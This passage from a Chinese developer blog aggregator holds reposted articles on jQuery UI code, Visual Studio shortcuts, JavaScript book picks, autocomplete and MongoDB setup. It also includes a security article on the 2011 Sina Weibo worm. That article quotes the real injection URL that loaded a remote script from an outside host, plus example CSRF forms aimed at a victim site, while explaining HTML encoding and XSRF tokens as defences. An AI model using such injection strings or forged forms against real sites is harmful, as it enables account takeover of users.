	+ '<div id="' + TableID + '_tableHead"></div>'
	+ '<div id="' + TableID + '_tableColumn"></div>'
	+ '<div id="' + TableID + '_tableData"></div>').appendTo("#" + TableID + "_tableLayout");


	var oldtable = $("#" + TableID);

	var tableFixClone = oldtable.clone(true);
	tableFixClone.attr("id", TableID + "_tableFixClone");
	$("#" + TableID + "_tableFix").append(tableFixClone);
	var tableHeadClone = oldtable.clone(true);
	tableHeadClone.attr("id", TableID + "_tableHeadClone");
	$("#" + TableID + "_tableHead").append(tableHeadClone);
	var tableColumnClone = oldtable.clone(true);
	tableColumnClone.attr("id", TableID + "_tableColumnClone");
	$("#" + TableID + "_tableColumn").append(tableColumnClone);
	$("#" + TableID + "_tableData").append(oldtable);

	$("#" + TableID + "_tableLayout table").each(function () {
		$(this).css("margin", "0");
	});


	var HeadHeight = $("#" + TableID + "_tableHead thead").height();
	HeadHeight += 2;
	$("#" + TableID + "_tableHead").css("height", HeadHeight);
	$("#" + TableID + "_tableFix").css("height", HeadHeight);


	var ColumnsWidth = 0;
	var ColumnsNumber = 0;
	$("#" + TableID + "_tableColumn tr:last td:lt(" + FixColumnNumber + ")").each(function () {
		ColumnsWidth += $(this).outerWidth(true);
		ColumnsNumber++;
	});
	ColumnsWidth += 2;
	if ($.browser.msie) {
		switch ($.browser.version) {
			case "7.0":
				if (ColumnsNumber >= 3) ColumnsWidth--;
				break;
			case "8.0":
				if (ColumnsNumber >= 2) ColumnsWidth--;
				break;
		}
	}
	$("#" + TableID + "_tableColumn").css("width", ColumnsWidth);
	$("#" + TableID + "_tableFix").css("width", ColumnsWidth);


	$("#" + TableID + "_tableData").scroll(function () {
		$("#" + TableID + "_tableHead").scrollLeft($("#" + TableID + "_tableData").scrollLeft());
		$("#" + TableID + "_tableColumn").scrollTop($("#" + TableID + "_tableData").scrollTop());
	});

	$("#" + TableID + "_tableFix").css({ "overflow": "hidden", "position": "relative", "z-index": "50", "background-color": "Silver" });
	$("#" + TableID + "_tableHead").css({ "overflow": "hidden", "width": width - 17, "position": "relative", "z-index": "45", "background-color": "Silver" });
	$("#" + TableID + "_tableColumn").css({ "overflow": "hidden", "height": height - 17, "position": "relative", "z-index": "40", "background-color": "Silver" });
	$("#" + TableID + "_tableData").css({ "overflow": "scroll", "width": width, "height": height, "position": "relative", "z-index": "35" });

	$("#" + TableID + "_tableFix").offset($("#" + TableID + "_tableLayout").offset());
	$("#" + TableID + "_tableHead").offset($("#" + TableID + "_tableLayout").offset());
	$("#" + TableID + "_tableColumn").offset($("#" + TableID + "_tableLayout").offset());
	$("#" + TableID + "_tableData").offset($("#" + TableID + "_tableLayout").offset());

	if ($("#" + TableID + "_tableHead").width() > $("#" + TableID + "_tableFix table").width()) {
		$("#" + TableID + "_tableHead").css("width", $("#" + TableID + "_tableFix table").width());
		$("#" + TableID + "_tableData").css("width", $("#" + TableID + "_tableFix table").width() + 17);
	}
	if ($("#" + TableID + "_tableColumn").height() > $("#" + TableID + "_tableColumn table").height()) {
		$("#" + TableID + "_tableColumn").css("height", $("#" + TableID + "_tableColumn table").height());
		$("#" + TableID + "_tableData").css("height", $("#" + TableID + "_tableFix table").height() + 17);
	}
}

[转载]提高编码效率的一些经验:Visual Studio快捷键

mikel阅读(813)

[转载]提高编码效率的一些经验 – rain.zhou – 博客园.

分享一下我的编码习惯,大家有更好的方法欢迎留言补充

使用快捷键alt+shift+F10/ctrl+.

这是我很喜欢用的一个快捷键,可以直接添加引用

比如我们要用线程的Sleep方法,但是默认代码里面是没有Thread类的引用的,如果这时我们再滑动鼠标到上面去添加using System.Threading;就太慢了…

我们可以直接打出Thread然后按这个组合键然后直接按回车就帮我们自动添加了引用

谢谢Vincent Yang我才知道原来alt+shift+F10有个更方便的快捷键(ctrl+.),这样就更方便了

使用alt矩形选择

当我们在cs代码里拼html字符串的时候用的比较多,或者拼json字符串的时候

当我们按住alt然后拖动鼠标的时候会选择一个矩形选择区

比如这样的代码:

JS = @” var store = new Ext.data.JsonStore({
fields:[‘name’, ‘siwang’,’chusheng’,’biandong’],
data: [
{name:’
+ (year2++) + @”年’,siwang: + c1.ToString() + @”,chusheng: + b1.ToString() + @”,biandong: + d1.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c2.ToString() + @”,chusheng: + b2.ToString() + @”,biandong: + d2.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c3.ToString() + @”,chusheng: + b3.ToString() + @”,biandong: + d3.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c4.ToString() + @”,chusheng: + b4.ToString() + @”,biandong: + d4.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c5.ToString() + @”,chusheng: + b5.ToString() + @”,biandong: + d5.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c6.ToString() + @”,chusheng: + b6.ToString() + @”,biandong: + d6.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c7.ToString() + @”,chusheng: + b7.ToString() + @”,biandong: + d7.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c8.ToString() + @”,chusheng: + b8.ToString() + @”,biandong: + d8.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c9.ToString() + @”,chusheng: + b9.ToString() + @”,biandong: + d9.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c10.ToString() + @”,chusheng: + b10.ToString() + @”,biandong: + d10.ToString() + @”}
]
});
;

我们在改完前面的代码后可以直接矩形选择然后复制到后面

按住ctrl点击全选整个单词,相当于双击全选

这个比较简单,在我们连续替换变量的时候用的比较多,复制一个变量然后一直按住ctrl,点要被替换的变量,然后再按下C,很方便

要习惯使用home和end键

比如我们的光标停留在一行代码的中间,我们想复制这行代码,可能大部门人都是得用鼠标,这时其实我们可以先按一下home键然后左手按住shift,再按一下end键,

因为home和end键在键盘上是挨在一起的所以很方便

home=>按住shift=>end 然后就可以ctrl+c了

其他时候用home和end直接切换到行首行末也是很方便的

使用shift+del整行删除

这个也是我很喜欢的一个快捷键,直接删除光标所在的那一行代码

我在该代码的时候,比如复制了一行代码从=后面开始改,直接编写新代码,然后回车然后一直按shift+del把后面的垃圾代码全部删掉,这样我们不用动鼠标去选再删,省了很多时间

使用代码段

编写for或者foreach的时候我们可以只编写一个for或者foreach然后连续按两下tab就会自动生成for和foreach循环

其他的代码段也有很多,for和foreach是比较常用的吧

使用带小红帽的键盘

对我们编码人员来讲最烦的就是双手放在键盘上编码的时候,有些操作需要抬起手去用鼠标操作,很浪费时间

所以我们可以用带小红帽的键盘,比如thinkpad的笔记本,当你用一段时间后,你就会发现小红帽可以相当于80%的鼠标

比如我们编码的时候想把光标移动一下,用小红帽完全可以胜任,只要不是进行高精度的鼠标操作,不过我也不插鼠标用小红帽玩过dota稍微有点费劲呵呵

现在我的同事有5,6个新买笔记本的都是买的thinkpad…呵呵有点打广告的嫌疑哈,不过确实方便

设置输入法

1)标点符号设置成英文

我现在用的时候qq的拼音输入法,现在应该用这个跟搜狗的比较多吧

我一般把输入法的标点符号设置成英文的,因为编码的时候是用英文的标点,所以在我们切成中文输入一些注释然后继续输入代码的时候打个.可以直接出来

2)勾上把输入窗口已存在的结果输入

输入法还有一个就是切换输入法时把输入窗口已存在的结果输入,这个都应该勾上,很多时候我们写代码的时候忘了切成英文,所以打了一个new却出现的 是中文的输入法,这时如果勾上了已经存在的结果输出的话,我们直接切回英文输入法,这个new会直接输出到代码里,不用再去打一个new了

代码生成

未来编程的趋势吧,从petshop时代我们开始使用代码生成底层类,现在直接用linq感觉更方便了

1)根据数据库文档生成数据库

不知道大家做项目是怎么个流程,我们是设计数据库文档,然后根据数据库文档直接生成数据库

以后有机会再写篇文章吧,简单介绍下我的实现方式:

首先我们的数据库文档都是这种格式的word文档:

表名是标题然后下面是一个表格包括字段中文名和英文名等

然后我们可以把这个word文档转成html格式,然后用HtmlDocument类来解析这个html

这样生成的数据库字段都是用中文说明的

中文说明很重要,因为有这个我们才能生成带字段注释的底层和生成apsnet页面

我是先做的底层和页面生成,然后再建数据库的时候每个字段都加说明很麻烦才想的办法做数据库生成…呵呵人都是被逼的啊

暂时先想这么多ctrl+j的智能提示地球人都知道的就不说了

欢迎大家补充

[转载]说说我的web前端之路,分享些前端的好书

mikel阅读(901)

[转载]说说我的web前端之路,分享些前端的好书 – 聂微东 – 博客园.

WEB前端研发工程师,在国内算是一个朝阳职业,这个领域没有学校的正规教育,大多 数人都是靠自己自学成才。本文主要介绍自己从事web开发以来(从大二至今)看过的书籍和自己的成长过程,目的是给想了解JavaScript或者是刚接 触JavaScript的朋友,介绍如何通过循序渐进的看书来学习JavaScript
一. 入门级 :就是有一定的基础(比如最常见的HTML标签及其属性、事件、方法;最常见的CSS属性;基础的JavaScript编程能力),能够完成一些简单的WEB前端需求。

推荐:《JavaScript dom 编程艺术》

理由:此书绝对是入门的好书,本人也是在接触JS一段时间后才看的这本书。此书从JS的历史 – JS基础语法知识 – DOM介绍和简单的使用。现在这本书已经出了第二版,需要的朋友直接第二版就行。

评价:简洁,实用,详细,易懂,书不厚,相信很快就能看完。

当然,作为入门书的话《JavaScript权威指南》也非常强 大(这名字可不是白起),其实说起来也惭愧,本人至今都没有买过这本书,最开始是因为这个书实在是小贵,只好借朋友的看,不过也就看了个周末。网上关于此 书的评价很多,意思大概都是说这书就是一个JS的文档手册,如果你有闲钱,并且习惯翻书查询,那么就来一本吧。顺便提醒一句,这本书的第六版英文版已经出 来了。
二.初级开发:本人以前的DEV leader兼恩师这么说过:“初级开发人员的标志就是需要在中级和高级开发的指导下完成工作”。首先不要苛责代码的对错严谨,毕竟每个程序员都有这样的一个过程,就是这个级别的特征。

推荐:《javascript高级程序设计》(第二版)

理由:这本书的作者是 Nicholas C.Zakas ,博客地址是 http://www.nczonline.net/ ,大家可以去多关注,雅虎的前端工程师,是YUI的代码贡献者,可想而知这本书得含金量,他出的书都广受好评。这本书已经出了第二版,而且与第一版相比内 容更新很大,直接第二版就行。不要被书名的“高级”唬住,只要有JS基础语法知识和DOM基础知识就行,而且本书开始阶段还是介绍JS和DOM的语法知 识。

评论:重点推荐一下第五章(类型),第六章(OOP),第七章(匿名),多看几遍,至少要完全 看明白,能为以后进阶打好基础,个人感觉这几章是本书的精华所在。这本书在入门的时候看节奏会快了一些,所以不建议初学者看,可是相对于我一会要介绍的书 又算基础一点,所以建议先阅读完这本书,对浏览器兼容和语法知识有一定了解之后再往下阅读。


推荐:《高性能 JavaScript》《JavaScript语言精髓》

理由:本人先看的是《高性能JS》,这本书还是 Nicholas C.Zakas 所著,经典之作,书中大量举例了各种不同写法的JavaScript在浏览器中的性能情况,对规范JavaScript代码和提升性能有很好的帮助,最后 提到了很多工具和性能测试的方法,都是灰常灰常有实际作用的,看得出作者很厚道(好吧,偶承认了,偶是他的粉丝)^_^,记忆最深的一句话:”如果 JavaScript 执行了几秒钟,那么很可能是你做错了什么”;;

《语言精髓》和《高性能》有少部分关键知识都重复提到了,可是为什么要推荐这本书,因为本书对JS语言本质的描述太棒了,这是一本介绍 JavaScript语言本质的权威书籍,从 “对象”,“函数”,“继承”,“数组”等等多个重要知识着手。我补一句话 – 本书需要反复阅读。

评论:都是好书,都很薄,而且所说的内容只要有基础都不难。相信读完之后会对JS又有新的认识,且对以后的代码规范和浏览器差异性等高级问题有了新的认识,如果读完之后会有种被灌顶的感觉,那么恭喜你,你离中级不远了。
三.中级开发:还是本人以前的DEV leader兼恩师这么说过:“中级开发人员的标志就是在高级开发或架构师较少的指导下高质量的完成工作,并对产品或项目有自己的想法与理解”。

强烈推荐:《JavaScript DOM高级程序设计》

理由:此 书灰常犀利,本人一共看了近半年的时间,已反复阅读多次。说实话,这本书的翻译一般,代码也有少许错误,可是这不影响这本书的强大,通过学习本书,可以理 解一个JS的库如何产生,自己动手写一个简单的自己的JS库,如果你打算研究其他的JS库或者正在研究其他的JS库,那么这本书会使你的理解达到新的高 度,进阶高级必读,写库必读。

评论:异常强大的一本JS巨作,此书不薄,强烈推荐。现在已经买不到正版了,我这里有电子版,有需要的朋友留下邮箱,晚上发给你们。


强烈推荐:《JavaScript设计模式》

理由:异 常生猛的一本书,看书名带“设计模式”就知道,这本书想要读明白有点困难,本人自己感觉,只要某书一带“模式”这两字,反正就简单不了。本书对JS的“模 仿接口”,“封装”,“继承”,“链式调用”,“工厂模式”等各种具体的设计模式及其在JavaScript 语言中的应用进行了详细的介绍,运用设计模式使代码更模块化、更高效并且更易维护。

评论:书不厚,可真的是内容丰富且高深,强烈建议购买。

推荐:《高性能网站建设指南》《高性能网站建设进阶指南》

理由:在读完前几本书之后我们对前端的性能和自己的代码的效率已经达到相当的高度了,然后我们在接触一些前端工程师的一些精髓。本书对HTTP请求,CDN,内容缓存和一些web开发中常见问题进行讲解。

评论:书都不厚,可是说的都是比较实用的东西,可是用不用的上还得看个人和项目需要了。

————————————————————————————————————————————————————————————————————————-

以上就是本人一路走来看的JS相关书籍,朋友会问,为什么就只介绍的中级的,那么高级看的书在哪?有木有高级的书?进阶高级程序员之路又在哪?说下我自己的看法和对年轻朋友的建议吧,说的不好或不对请原谅,其实我也才真正工作两年多:

1.主要是工作经验问题。达到一定程度以后真的合适的书很难找了,更多只有在工作中总结和积累。工作的越久碰到过的问题也就越多,^_^。所以一般说高级程序员一般都是至少都3年以上的工作经验,没办法,实践才出真理。

2.我觉得高级web前端灰常有必要总结一个自己的JS库,不管大小,总归有一套自己的东西(嘿嘿,如果认真的实践过《JS DOM高级》的内容,估计有一套JS库的原型了)。

3.前端有必要懂得和熟悉一本服务端语言,其实计算机语言很多语法大致都差不多,不同的就是内置的方法和属性,所以去熟悉一门语言并不难。为什么有必要,因为精通一门语言还是不够的,多学一门语言的好处我就不啰嗦了,大家可以看看这篇文章 – 《门门通还是精一门》

4.许多年轻人都有眼高手低的毛病,我也一样,例如,有的人认为自己编起程序来很顺手,不用查手册,说写就写,很熟练,几乎什么程序都能编出来,就认为自己对这种语言很精通了。其实对于一门语言的掌握程度是不可深测的,对于语言掌握其实是一个无止尽的过程,没有终点。编写时间的长短和编写熟练程度,仅仅是精通语言表现的一个方面。更重要的是程序员要掌握这个语言的适用范围,整体构架,语法规则、功能分类等基础理论方面的知识,并能利用这方面的知识,用最科学的方法去解决现实中各种项目的各个问题。

终于在6月29日写完了,完成了对自己的要求 – 一个月写一个较高质量的文章或技术分享。

最后,谢谢大家,祝大家工作愉快。

[转载]JQuery点击行(tr)实现checkBox选中,反选时移除和添加样式.

mikel阅读(821)

[转载]JQuery点击行(tr)实现checkBox选中,反选时移除和添加样式. – ゞ追忆o0ゞ – 博客园.

很开心大家能和我这个“菜鸟”一起互动,也感谢大家和我一起思考,看了大家的代码也有了不少启发,看了jifsu兄的代码,自己也试测了一下,确实比我自己写的那种方式简单的多,代码的可读性也大大增强不少,在这个基础上,我又添加了一个全选和反选时的效果。

用到了三元运算符,和一个自定义的函数。

点击行时效果代码:

 $("tr").live("click", function () {
     if ($(this).hasClass("bgRed")) {
         $(this).removeClass("bgRed").find(":checkbox").attr("checked", false);
     } else {
                $(this).addClass("bgRed").find(":checkbox").attr("checked", true);
            }
 });

反选按钮时的效果代码:

 $("#btnReverse").click(function () {
                //遍历.column 下的 checkbox;
                $(".column :checkbox").each(function () {
                    //给当前勾选的checkbox取反;  其中!$(this).attr("checked")是先获取他的属性,再取反,充当第二个参数;
                    //attr方法只有一个参数时是取值,两个参数时是设值;
                    $(this).attr("checked", !$(this).attr("checked"));
                    $.GetCheck($(this));  //调用自定义的函数.

                });

            });

自定义的函数代码:

//注意,它的位置是和$(function(){ })平级的.
 jQuery.extend({

            GetCheck: function (status) {
                $(status).attr("checked") ? $(status).parent().parent().addClass("bgRed") : $(status).parent().parent().removeClass("bgRed");
            }
        });

如果 $(status).attr(“checked”) =true; 就给行添加样式 addClass(“bgRed”); 如果$(status).attr(“checked”)=false;就把样式移除;

[转载]Web安全,以新浪微博“郭美美”蠕虫为例

mikel阅读(969)

[转载]Web安全,以新浪微博“郭美美”蠕虫为例 – 问天 – 博客园.

昨晚(2011/06/28)新浪微博也出现“黑客”攻击蛮有代表性;网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的,这里记述一下相关的事情。

先说新浪微博。

昨天的攻击情况介绍可以参考:
* http://soft.yesky.com/security/156/30179156.shtml

昨晚的攻击漏洞根源其实很傻,被用于攻击的URL(当然这个URL现在不工作了)是:
* http://weibo.com/pub/star/g/xyyyd”><script src=//www.2kt.cn/images/t.js></script>?type=update

很显然,/pub/star/g/ 后面的字符串会被新浪内部write过,变成类似:
* http://weibo.com/pub/star.php?g=xyyyd”><script src=//www.2kt.cn/images/t.js></script>?type=update

的玩意,然后star.php竟然会把querystring中g的值直接显示到页面中,相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。

这种是相当低级的注入攻击,有做web开发经验的同学都应该懂;应该说,新浪微博遭遇的这次攻击的根源还跟XSS / XSRF 这些“高级”玩意完全没有关系。

weibo.com的页面被嵌入第三方js之后,这个js做的就是 XSRF去完成各种发推/关注/私信的操作,但从安全的角度看,这些我认为已经不重要了,这次的攻击根源仅是最低级的页面注入。

要避免这样的问题,在页面模板中,所有的变量输出,默认都应该做 HTML encode:

<%=Request.QueryString[“qry”] %>

默认就应该对输出的值做html encode,相当于:

<%=HttpUtil.HtmlEncode(Request.QueryString[“qry”]) %>

目前新web框架的模板引擎基本默认都会对变量页面输出做html encode;这样注入的问题都会被避免。

以Razor为例:
<div>
@Model.UserName
</div>

默认相当于:
<div>
<%=UttpUtil.HtmlEncode(Model.UserName) %>
</div>

至于连模板都没有用,直接拼接字符串输出html的做法,就彻底无语了。

====== XSRF / XSS ======
这样的攻击方式才相对“新颖”一些。

===== HTTP Get =====
假设网站存在可能导致用户数据改变的接口,如:
* http://dummydomain.com/update_nick.aspx?nick=Stupid

那么,第三方网站可以直接将上述URL作为一个img标签的src,使得用户在访问的时候自动去获取此页面,造成昵称被改。

这里的问题根源是接口定义违反了HTTP的推荐设计。

一切HTTP Get操作,都不应该涉及用户数据的修改;必须强制使用为POST,以避免数据被无意/恶意修改。

===== HTTP Post =====
假设修改昵称的接口变成:
* http://dummydomain.com/update_nick.aspx

用户必须通过form提交才可能可以修改数据,比方说:
<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”text” name=”nick” value=”” />
<input type=”submit” />
</form>
</code>
这样的设计实际上也还是会有问题的,比方说,攻击者可以在 http://attackerdomain.com/clickme.html 里面写:

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”nick” value=”Stupid” />
<input type=”submit” value=”Click Me!!” />
</form>
</code>
用户在访问 attackerdomain.com 的时候,便有可能被误导去点击,然后造成自己在 dummydomain.com 的数据被修改。

在这样的场景下,无论接口是Get还是Post,都无济于事;这类攻击是被称为 XSRF: Cross-site request forgery。

===== XSRF =====
相比起页面注入,Web开发者对于XSRF的认识还不够;但它也是可以防范的。

首先,要确保所有的涉及数据更新的操作都是经过HTTP Post。

然后,服务器端强制要求所有 HTTP Post都必须包含一个 _XSRF 的参数;其值必须跟Cookie中的同名Cookie相同,比方说:

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”_XSRF” value=”secret_value” />
<input type=”text” name=”nick” value=”” />
<input type=”submit” />
</form>
</code>

当 攻击者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时,浏览器发送的是 dummydomain的 cookie;而这个cookie的值,是attacherdomain.com所无法获得的,也就是说,它无法伪造:

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”_XSRF” value=”Attacher can’t know this value!” />
<input type=”hidden” name=”nick” value=”Stupid” />
<input type=”submit” value=”Click Me!!” />
</form>
</code>

有安全意识,或者说,先进的web框架( Django / Tornado / RoR 等等 ),默认都强制要求POST提交必须有 XSRF 检查。

微软的技术,基本都是跟在别人后面的,目前似乎还是的开发者手动去处理,ASP.NET MVC 可以参考:
* http://weblogs.ASP.NET/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx

如果ASP.NET开发者没有安全意识,专门去给所有页面添加XSRF的检查,那么做出来的网站,都可能受到 XSRF 攻击。

大家有兴趣的话可以去挑各种asp.net开发的网站去试;或者说,想想自己做过的网站是否会受到此种攻击。

🙂

====== Web 安全的根基 ======
Cookie / Same origin policy(简单的说,就是防止AJAX跨域)是 Web安全的根源。

而这两点,是由客户端浏览器所保证的,如果客户端实现得不好,域名A可以访问域名B的cookie值,或者说发起AJAX调用,那么所有服务器端的安全措施都是白搭。

Cookie在HTTP中是明文传输的,是可能会被中间人窃取然后伪造的;而cookie又是Web用户认证信息的根源,一旦Cookie泄露,攻击方就可以为所欲为。

所以,很多网站(比方说, twitter / gmail)默认都在强制把所有的页面传输转移去 HTTPS;以杜绝中间人的问题。

千里之堤,溃于蚁穴;根基不牢靠,上层所做的任何安全措施,都可能被攻破。

这里的关键,是要有一个可靠的根基,跟Web技术没有直接关系,Native程序也会有同样性质的问题。

[转载]仿百度搜索时的下拉列表(jQuery实现)

mikel阅读(974)

[转载]仿百度搜索时的下拉列表(jQuery实现) – luckyadam – 博客园.

[title]

当我们使用百度或是谷歌进行搜索时,只要输入一个字母就可以产生一个下拉列表,并且可以通过键盘上下键来控制列表项的选择。最近在项目中也碰到了类似的情况,在文本框中输入某个字母就可以出现一个下拉列表,展现从数据库里搜索过来的结果。

先说一下我的实现思路吧,当用户在文本框中输入时,可以利用ajax方式将文本框内内容传给后台的某个页面,在那个页面中经过处理后将产生的结 果(这里的结果是一个字符串数组)再获取过来在前台呈现。有了思路后就开始考虑怎么去具体实现吧。首先要使用ajax的话,就想到可以使用JQuery提 供的$.post()方法,这个方法可带4个参数,分别是:

·url,请求的页面URL地址;

·data(可选),作为HTTP消息的实体内容发送给服务器;

·callback(可选),载入成功后的回调函数,自动将请求结果和状态传递给该方法;

·type(可选),服务器端返回的数据格式,可以是:xml、html、script、json等。

好,现在对$.post()方法有了一定的了解,现在就可以考虑这个方法该怎么来写了。在我的项目中,请求的URL地址是@Url.Action(“GetTags“) (由于是ASP.NET MVC架构,地址是由Routing配置产生的,这个转义到前台就是一个普通的URL地址),需要传送的是ID为newTag的文本框中的值,所以第二个 参数为{pinyins: $(“#newTag”).val()},这里的pinyins是由后台定义的。第三个参数callback是处理请求成功后要做的事,暂且命名为 pinyinCallback,第四个参数设为’json’,即数据格式为一个JSON对象。这样的话,这个ajax请求可以写为:

$.post('@Url.Action("GetTags")', { pinyins: $("#newTag").val() }, pinyinCallback, 'json');

但是如果用户每输入一个字母就立即往服务器传的的话,服务器的承载就会过大,于是考虑可以将每次请求延迟一秒发送,于是发送请求的方法可以这样定义:

function pinyinOption() {
         var t = setTimeout(function () {
             $.post('@Url.Action("GetTags")', { pinyins: $("#newTag").val() }, pinyinCallback, 'json');
         }, 1000);
 
     }

  现在要考虑的就是这个方法在何时调用。既然是以用户输入结果来查询的,那么可以考虑JQuery的keyup事件,可以在文本框(id为newTag)的keyup事件触发后就调用之前定义的方法。但是又考虑到这个功能中可以通过键盘中上下键来控制列表中的选项,所以这个keyup事件可以这样来定义:

$("#newTag").keyup(function (e) {
             if (e.keyCode != 40 && e.keyCode != 38) {
                 currentTxt = $("#newTag").val();
                 pinyinOption();
             }
         }).focus(function () {
             this.select();
         });

其中keyCode值38、40分别代表上键和下键。currentTxt记录的是当前文本框的内容。

  当请求成功后的回调函数pinyinCallback该做什么呢?这个回调函数该做的应该有这些事,首先要把请求来的数据在前台呈现出来,这样就需要创建一些新的DOM元素来装这些内容。就不废话了,直接上代码吧:

Html代码:

<div class="mb20 pr f14 ff" id="tagDiv">
     <p><span>新标签</span> @Html.TextBox("newTag", null, new { style = "border: 1px solid #555;height: 20px;", autocomplete ="off"})
             <input type="submit" value="添加" /><span>@ViewBag.Info</span></p>
  </div>

js代码:

var $resultDiv = $('<div id="resultDiv" class="pa f12 ff"></div>');
     var $resultUl = $('<ul id="resultUl"></ul>');
     var $resultLi = [];
     var currentTxt;
 
     function pinyinCallback(data) { 
         $("#resultDiv").show();
         $resultUl.html("");
         for (var i = 0; data[i]; i++) {
             $resultLi[i] = $("<li></li>");
             $resultLi[i].html(data[i]);
             $resultUl.append($resultLi[i]);
         }
         if ($resultUl.html() == "") {
             $("#resultDiv").hide();
         }
         $resultUl.appendTo($resultDiv);
         $resultDiv.appendTo($("#tagDiv"));
 }

目前这个回调函数只是将请求回来的数据添加到创建的id为resultDiv的容器内,再将这个容器添加到页面中已存在的id为tagDiv的容器中。而为了美观一点并为了实现点击一个列表项就提交的功能,这个回调函数还可以做这些工作:

js代码:

 $("#resultDiv li").hover(function () {
           $(this).addClass("esultDivLiHover");
         }, function () {
           $(this).removeClass("esultDivLiHover");
  });
 $("#resultDiv").blur(function () {
          $("#resultDiv").hide();
 });
 $("#resultDiv li").click(function (event) {
          $("#newTag").val($(this).text());
          $("form").submit();
 });

css代码:

 #resultDiv
  {
     left: 47px;
     border: 1px solid #000;
     background: #fff;
     z-index: 100;
     width: 200px;
     
  }
 #resultDiv li
  {
     cursor: default;
     padding: 2px 4px;
  }
 .esultDivLiHover
  {
     background: #cfcfcf;
  }

在列表项被点击后就提交一次表单,并把当前文本框的内容设置为列表项的内容。

  接下来就要实现键盘上下键控制的功能了,这样,全部的回调函数代码为:

 function pinyinCallback(data) { 
         $("#resultDiv").show();
         $resultUl.html("");
         for (var i = 0; data[i]; i++) {
             $resultLi[i] = $("<li></li>");
             $resultLi[i].html(data[i]);
             $resultUl.append($resultLi[i]);
         }
         if ($resultUl.html() == "") {
             $("#resultDiv").hide();
         }
         $resultUl.appendTo($resultDiv);
         $resultDiv.appendTo($("#tagDiv"));
         $("#resultDiv li").hover(function () {
             $(this).addClass("esultDivLiHover");
         }, function () {
             $(this).removeClass("esultDivLiHover");
         });
         $("#resultDiv").blur(function () {
             $("#resultDiv").hide();
         });
         $("#resultDiv li").click(function (event) {
             $("#newTag").val($(this).text());
             $("form").submit();
         });
         //键盘上下键控制
         var index = -1;    //标记上下键时所处位置
 
         document.documentElement.onkeydown = function (e) {
             e = window.event || e;
             if (e.keyCode == 40) {  //下键操作
                 if (++index == $("#resultDiv li").length) {  //判断加一操作后index值是否超出列表数目界限
                     index = -1;             //超出的话就将index值变为初始值
                     $("#newTag").val(currentTxt);    //并将文本框中值设为用户用于搜索的值
                     $("#resultDiv li").removeClass("esultDivLiHover");
                 }
                 else {
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
             }
             if (e.keyCode == 38) {  //上键操作
                 if (--index == -1) {    //判断自减一后是否已移到文本框
                     $("#newTag").val(currentTxt);
                     $("#resultDiv li").removeClass("esultDivLiHover");
                 }
                 else if (index == -2) {     //判断index值是否超出列表数目界限
                     index = $("#resultDiv li").length - 1;
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
                 else {
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
             }
         };
     }

 OK,现在这个功能就差不多搞定了,在ie6下也是完全正常,不过还是有一些bug需要改进,另外这个方法还是有可以优化的地方吧。晒一晒效果图:

  希望明天又是美好的一天,又不正的地方还希望多多指出。

[转载]MongoDB搭建和简单操作(windows环境)

mikel阅读(1049)

[转载]MongoDB搭建和简单操作(windows环境) – 黑曜石 – 博客园.

昨天看到fish的MongoDB,但遇到不少问题,于是自己一步一步尝试,将遇到之问题和解决方法记录总结

再有就是快一年没更新博客了,不过本人天天打开博客园看各位的博文,就像公务员每天上班喝茶看报纸一样,习惯了。。。

尽量以后每月出个两篇文章吧,本人这一年没写博客就干了一个活,www.520.cn,请大家赏析,前台使用mvc2.0,spark引擎,Entity Framework,当然还有JQuery

这篇写完,这周再出个简单用C#操作MongoDB的增删改查,Demo将会以MVC+SPARK的方式出现,哎,为什么没几个人用spark,这么好的东西,比什么razor好多了,只是没有智能提示而已~

您可以在这个地址下载到MongoDB: http://www.mongodb.org/downloads
本人环境32位win7旗舰片,因此下载到mongodb-win32-i386-1.8.2
在下载页的下方官方有提供各种开发语言的驱动,本人C#,直接移位https://github.com/samus/mongodb-csharp下载即可
一,安装mongoDB
1,解压mongodb-win32-i386-1.8.2至E:\MyProgram\mongodb-win32-i386-1.8.2(你可以按照自己的路径来,路径中最好不要有空格,要不然麻烦)
2,新建文件夹C:\DATA\DB,这是mongoDB的默认数据文件夹,你也可以在文件夹E:\MyProgram\mongodb-win32-i386-1.8.2新建一个文件夹data作为mongoDB的数据库文件存储目录
3, 进入CMD,运行命令E:\MyProgram\mongodb-win32-i386-1.8.2\bin\mongod.exe -dbpath E:\MyProgram\mongodb-win32-i386-1.8.2\data,OK,mongoDB已经安装成功并已经在运行中了,你将会看 到如下:

此时是mongoDB的运行状态,你可以按Ctrl+C结束运行状态或者直接关掉CMD结束运行。
二,运行mongoDB时的错误与处理
完成安装后,结束掉所有CMD窗口,然后进行如下操作:
1, 运行E:\MyProgram\mongodb-win32-i386-1.8.2\bin\mongo,可能会报错误:couldn’t connect to server 127.0.0.1 shell/mongo.js,原因是mongod.exe没有启动,
